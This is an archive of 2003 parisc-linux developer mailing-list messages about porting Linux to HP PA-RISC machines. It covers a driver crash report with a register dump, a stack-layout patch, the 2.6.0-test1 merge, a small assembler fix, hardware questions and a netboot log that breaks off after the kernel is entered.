List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18918

On Mon, Jul 14, 2003 at 11:53:20AM +0530, Atul kirane wrote:
> Hello,
> I have two HP 9000 machines D220 and D250 with PA-Risc technology . i want 
> to configure linux os on it to run it as web server .
> How do i go about it ?

Start with:
	http://www.parisc-linux.org/

Read the FAQ.
Read the "PA-RISC/Linux Boot HOWTO".

Search the mailing list for "D220"
(http://www.parisc-linux.org/mailing-lists/index.html)

And one gets:

   http://lists.parisc-linux.org/pipermail/parisc-linux/2003-June/020129.html

hth,
grant


From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [2.5] ns87415 irq
Date: Mon, 14 Jul 2003 12:41:01 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <3F0BEA8300001157@ocpmta1.freegates.net>
References: <3F10355C.2080303@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622592 27869 80.91.229.3 (22 Nov 2014 02:16:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:32 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: "Joel Soete" <joel.soete@tiscali.be>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 04:41:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 53909482D; Mon, 14 Jul 2003 04:41:04 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19c0j9-0001Xb-00; Mon, 14 Jul 2003 12:38:39 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 14 Jul 2003 12:41:01 +0200
In-Reply-To: <3F10355C.2080303@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18919

Hi Willy,

>>>Is it possible to backport it to 2.4?
>
>>Already did it as 2.4.21-pa3 -- can you test that?
>
> ooh I do not see this change (sorry), I will so test this patch (just 
> have to ask you to wait Monday because here at home I have not yet 
> recover a parisc box :)

As said I come back to you with a successfull test (well by the way pa4)
as buitin device driver NS87415 :)

But as module same erronious behaviour _as previous_:

(I make the p-l and grant in cc because here i grab much detail info)

palx2000:~# modprobe ns87415
Segmentation fault

palx2000:~# lsmod 
Module                  Size  Used by    Not tainted
ns87415                 2424   1  (initializing)

palx2000 login: NS87415: IDE controller at PCI slot 00:0e.0
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
modprobe (pid 332): Illegal instruction (code 8)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 10360000 101f50f4 100ddc00
r04-07  00000000 00028820 103cb870 100ddc00
r08-11  00000000 00000000 00000000 00000000
r12-15  103cc010 00004d38 1d4d3000 00042da8
r16-19  00042da8 00042da8 0004c7f0 00000002
r20-23  00000155 fed30000 fed30000 00000002
r24-27  00000004 00007000 103cb870 102fa010
r28-31  00000000 40000000 1f6dc840 00000000
sr0-3   00000000 0000034c 00000000 0000034c
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10360660 10360664
 IIR: 00002ba7    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 1f6dc000 CR31: 10398000
 ORIG_R28: 103aa59c

I do not really understand why modeprobe do an 'Illegal instruction' (pb
with modeprob or with the actual contents of ns87415.o?

(gcc -v => 3.3.1 20030626 (debian prerelease) and binutils 2.14.90.0.4-0.1)

hth,
    Joel

PS: Is it so important to track this driver as module (if only this platform
need this driver replacing tristate by bool wouldn't be enough?)


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] [PATCH] fix arbitrary limits on stack size
Date: Mon, 14 Jul 2003 12:48:56 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3F0BEA8300001164@ocpmta1.freegates.net>
References: <1058030142.2314.23.camel@fuzzy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622593 27872 80.91.229.3 (22 Nov 2014 02:16:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:33 +0000 (UTC)
To: "James Bottomley" <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 04:49:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3122482D
	for <parisc-linux@parisc-linux.org>; Mon, 14 Jul 2003 04:49:02 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19c0qp-0002Ih-00; Mon, 14 Jul 2003 12:46:35 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 14 Jul 2003 12:48:56 +0200
In-Reply-To: <1058030142.2314.23.camel@fuzzy>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18920

>One of the problems with the PA linux implementation is the upward
>growing stack.  On most architectures, the virtual process space is
>divided into
>
>
>| unmapped | exec and heap |  mappings and stack | TASK_UNMAPPED_BASE  
     
>TASK_SIZE
>
>
>The mappings grow up from the start and the stack grows down from the
>end of the area. If they ever meet, the process segfaults.
>
>On palinux, we have an upward growing stack, so we have to size the
>stack so when it reaches its ulimit, it hits the top of the area.  This
>means that large stack limits cut into the mappable area (and also that
>we have to impose a hard limit of 1GB on the stack size otherwise the
>user could remove the ability to map processes entirely by setting the
>stack limit too high).
>
>The proposal to fix this is to start the stack growing upwards from
>TASK_UNMAPPED_BASE and have the mappings grow downwards from TASK_SIZE.

>This should allow us to behave in exactly the same manner as x86 and not
>have an arbitrary limit on the stack size.
>
>The attached patch (against 2.5.70-pa1) does this, if you'd like to
>comment on it or try it out.

I don' t remember the historical reason of this choice but do you think it
is possible to back-port it into 2.4 (it will facilitate so much the merge
with upstream?)

Thanks in advance for advise,
    Joel

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix arbitrary limits on stack size
Date: Mon, 14 Jul 2003 12:58:31 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030714115831.GE23808@parcelfarce.linux.theplanet.co.uk>
References: <1058030142.2314.23.camel@fuzzy> <3F0BEA8300001164@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622593 27875 80.91.229.3 (22 Nov 2014 02:16:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:33 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 05:58:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11E8A482D
	for <parisc-linux@parisc-linux.org>; Mon, 14 Jul 2003 05:58:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19c1yR-0007Py-5g; Mon, 14 Jul 2003 12:58:31 +0100
Content-Disposition: inline
In-Reply-To: <3F0BEA8300001164@ocpmta1.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18921

On Mon, Jul 14, 2003 at 12:48:56PM +0200, Joel Soete wrote:
> I don' t remember the historical reason of this choice but do you think it
> is possible to back-port it into 2.4 (it will facilitate so much the merge
> with upstream?)

2.6.0-test1 is out.  IMO, all work on 2.4 should cease.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-test1
Date: Mon, 14 Jul 2003 13:48:12 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20030714124812.GF23808@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622593 27880 80.91.229.3 (22 Nov 2014 02:16:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 06:48:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09036482D
	for <parisc-linux@parisc-linux.org>; Mon, 14 Jul 2003 06:48:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19c2kW-0007zH-9e
	for parisc-linux@parisc-linux.org; Mon, 14 Jul 2003 13:48:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18922

I've merged 2.6.0-test1 into our CVS.  I think the additional hyphen in 
2.6.0-test1-pa0 may break some scripts.

This would be a great time to start reporting problems and fixing bugs

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] real2.S in linux-2.5
Date: Mon, 14 Jul 2003 17:08:19 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <3F12C763.7010305@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622594 27881 80.91.229.3 (22 Nov 2014 02:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 09:15:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id C1897482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 09:15:06 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001062.dialin.heagmedianet.de [213.157.1.62])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6EFEmnf007748
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 17:14:52 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18923

Hi,

can someone please delete the whitespaces from line 126 in real2.S from 
linux-2.5, else gcc-3.3 will throw an error . J.David Anglin explained 
in 
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-June/020137.html 
why.

TIA,
    Rdiger



From - Thu Nov 08 21:28:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] real2.S in linux-2.5
Date: Mon, 14 Jul 2003 16:23:17 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20030714152317.GI23808@parcelfarce.linux.theplanet.co.uk>
References: <3F12C763.7010305@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622594 27885 80.91.229.3 (22 Nov 2014 02:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 09:23:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23694482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 09:23:27 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19c5Ab-0001Mp-DY; Mon, 14 Jul 2003 16:23:17 +0100
Content-Disposition: inline
In-Reply-To: <3F12C763.7010305@hrzpub.tu-darmstadt.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18924

On Mon, Jul 14, 2003 at 05:08:19PM +0200, Rdiger Scholz wrote:
> Hi,
> 
> can someone please delete the whitespaces from line 126 in real2.S from 
> linux-2.5, else gcc-3.3 will throw an error . J.David Anglin explained 

Done.

 restore_control_regs:
-       load32  PA(save_cr_space + (N_SAVED_REGS * REG_SZ)), %r26
+       load32  PA(save_cr_space+(N_SAVED_REGS*REG_SZ)), %r26
        POP_CR(%cr15, %r26)

I'm a little annoyed this fix wasn't committed to 2.5 already.  I wonder
what other bits went into the 2.4 tree without going into 2.5 first?

BTW, it's not for gcc-3.3's benefit, but for binutils' benefit.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "R.B." <r.bensalem@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PC type PCI video on HP9000 C240
Date: Mon, 14 Jul 2003 18:44:35 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <002601c34a27$36167fd0$8a083951@orion>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0023_01C34A37.F92516C0"
X-Trace: ger.gmane.org 1416622594 27887 80.91.229.3 (22 Nov 2014 02:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:34 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 10:45:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx.laposte.net (mx.laposte.net [213.30.181.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 155BE482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 10:45:01 -0600 (MDT)
Original-Received: from orion (81.57.8.138) by mx.laposte.net (6.0.053) (authenticated as r.bensalem@laposte.net)
        id 3F0EAF32000714A4 for parisc-linux@lists.parisc-linux.org; Mon, 14 Jul 2003 18:44:59 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18925

This is a multi-part message in MIME format.

------=_NextPart_000_0023_01C34A37.F92516C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,
What kind of PC PCI video card can I put on a "HP 9000 C240" under Linux =
to have X ?
Thanks
Red
------=_NextPart_000_0023_01C34A37.F92516C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ebe7e2>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>What kind of PC PCI video card can I =
put on a "HP=20
9000 C240" under Linux to have X ?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>Red</FONT></DIV></FONT></DIV></BODY></HTML>

------=_NextPart_000_0023_01C34A37.F92516C0--




From - Thu Nov 08 21:28:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.21-paX on an rp2430
Date: Mon, 14 Jul 2003 14:23:47 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <20030714182347.GC14114@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622594 27893 80.91.229.3 (22 Nov 2014 02:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 14 12:24:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 485BE482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 12:24:55 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19c7zH-00028N-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jul 2003 14:23:47 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18926

pa,

Downloaded vmlinux-64-2.4.21-pa2 from cvs.parisc-linux.org

palo --commandline='0/vmlinux64 console=/dev/ttyS0 root=/dev/sda2' \
     -k ./vmlinux-64-2.4.21-pa2 \
     -s ./lifimage64

Then proceeded to netboot this kernel from a new rp2430, and I didn't 
get very far :(

Has anyone tried testing the prebuilt kernels on newer machines?

I also tried a newer vmlinux-2.4.20-pa10-UP and the kernel oopses :(

---
Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Network Station Address 00306e-48a712
System IP Address 192.168.1.200
Server IP Address 192.168.1.222

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl 1.2 root@b2000 Tue Jan 14 13:13:07 MST 2003

Boot image contains:
    0/vmlinux64 5196863 bytes @ 0x8800
Current command line:
0/vmlinux64 console=/dev/ttyS0 root=/dev/sda2
 0: 0/vmlinux64
 1: console=/dev/ttyS0
 2: root=/dev/sda2

Edit which field?
(or 'b' to boot with this command line)? b

Command line for kernel: 'console=/dev/ttyS0 root=/dev/sda2 palo_kernel=0/vmlinux64'
Selected kernel: /vmlinux64 from partition 0
ELF64 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 2789296 mediaptr 0x1000
Segment 1 load 003aa000 size 1012928 mediaptr 0x2aa000
Segment 2 load 004a4000 size 319568 mediaptr 0x3a2000
Segment 3 load 004f4000 size 49152 mediaptr 0x3f1000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
